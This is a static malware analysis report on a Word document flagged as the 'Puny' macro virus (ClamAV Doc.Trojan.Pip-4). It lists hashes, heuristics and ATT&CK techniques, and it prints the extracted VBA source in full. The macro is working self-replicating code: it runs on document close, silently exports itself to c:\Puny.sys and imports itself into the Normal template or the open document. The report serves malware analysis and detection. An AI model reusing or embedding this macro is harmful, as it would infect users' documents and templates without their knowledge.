Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 32dd4613ebe6fb20…

MALICIOUS

Office (OLE)

26.0 KB Created: 2000-08-07 23:56:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 826635510582e2293a9317906dbea20d SHA-1: 85ad7a391757d8b7b3a47fc9de4d70ee776ceefd SHA-256: 32dd4613ebe6fb20ae13f01e40fd5818a72867832d7678c4382d23e3c06dc9f5
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The file contains a VBA macro with an AutoClose subroutine, which is a common technique for executing malicious code when a document is closed. The script attempts to export its own code to 'c:\Puny.sys' and then re-import it, suggesting an attempt to establish persistence or load a secondary payload. The ClamAV detection 'Doc.Trojan.Pip-4' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Pip-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pip-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 829 bytes
SHA-256: c4f6ecbf3e9725c15ea4ebfe5f09761d8c052d52db2e6c0ff8b6f4a28440123f
Detection
ClamAV: Doc.Trojan.Pip-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Puny"
Sub AutoClose()
    'Puny v1.00 The WaLRuS
    On Error Resume Next
    Options.SaveNormalPrompt = False
    Set N = NormalTemplate.VBProject.VBComponents: Set D = ActiveDocument.VBProject.VBComponents
If N.Item("Puny").Name <> "Puny" Then
    D("Puny").Export "c:\Puny.sys"
    Set i = NormalTemplate.VBProject
ElseIf D.Item("Puny").Name <> "Puny" Then
    N("Puny").Export "c:\Puny.sys"
    Set i = ActiveDocument.VBProject
End If
i.VBComponents.Import ("c:\Puny.sys")
ActiveDocument.Save
End Sub